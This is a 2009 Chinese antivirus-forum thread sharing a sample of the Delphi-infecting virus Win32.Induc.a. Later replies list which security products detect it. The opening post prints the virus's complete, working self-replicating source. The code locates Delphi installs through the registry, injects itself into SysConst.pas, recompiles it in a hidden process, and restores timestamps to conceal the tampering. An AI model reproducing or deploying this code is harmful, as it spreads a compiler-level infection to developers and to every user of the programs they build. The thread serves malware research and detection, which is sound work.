查看: 10933|回复: 31
收起左侧

[病毒样本] 新型病毒Virus.Win32.Induc.a

[复制链接]
ghj89100062
发表于 2009-8-18 12:03:08 | 显示全部楼层 |阅读模式
向delphi工程中添加病毒文件并修改工程配置文件,使编译时将病毒一同编译。编译后的二进制文件中可以找到以下ASCII代码:
uses windows;

var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s',
'=#36 then s:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of',
'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c<>#0 do begin r:=r+c;inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');

function x(s:string):string;
var
i:integer;
begin
for i:=1 to length(s) do
   if s=#36 then s:=#39;
result:=s;
end;

procedure re(s,d,e:string);
var
f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h<>DWORD(-1) then
begin
   CloseHandle(h);
   exit;
end;
{'I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then
   exit;
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then
begin
   closefile(f1);
   exit;
end;

while not eof(f1) do
begin
   readln(f1,s);
   writeln(f2,s);
   if pos('implementation',s)<>0 then
     break;
end;

for h:= 1 to 1 do
   writeln(f2,sc[h]);
for h:= 1 to 23 do
   writeln(f2,''''+sc[h],''',');
writeln(f2,''''+sc[24]+''');');
for h:= 2 to 24 do
   writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
fillchar(f,sizeof(f),0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
if b then
   WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
DeleteFile(pchar(d+'pas'));
h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h=DWORD(-1) then
   exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
if h=DWORD(-1) then
   exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;

procedure st;
var
k:HKEY;
c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:='4' to '7' do
   if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
   begin
     i:=255;
     if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
     begin
       r:='';
       i:=1;
       while c<>#0 do
       begin
         r:=r+c;
         inc(i);
       end;
       re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');
     end;
   RegCloseKey(k);
end;
end;

begin
st;
end.

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
主动防御
发表于 2009-8-18 12:39:35 | 显示全部楼层
KIS2010
Virus.Win32.Induc.a
悠柚
发表于 2009-8-18 12:46:18 | 显示全部楼层
to IObit
hj5abc
发表于 2009-8-18 12:56:58 | 显示全部楼层
>G:\Project1.zip/Project1.exe infected with Win32.Induc
fatezero
发表于 2009-8-18 13:02:11 | 显示全部楼层
to avira
sololp 该用户已被删除
发表于 2009-8-18 13:22:32 | 显示全部楼层
mcafee
Generic.PUP.x
z2665
发表于 2009-8-18 13:30:52 | 显示全部楼层
mse miss,to
62590423
发表于 2009-8-18 13:43:16 | 显示全部楼层
to mp
houtiancheng
发表于 2009-8-18 14:43:02 | 显示全部楼层
to clam
czf610632747
发表于 2009-8-18 15:17:07 | 显示全部楼层
a2报,红伞不报
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-24 14:21 , Processed in 0.142210 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表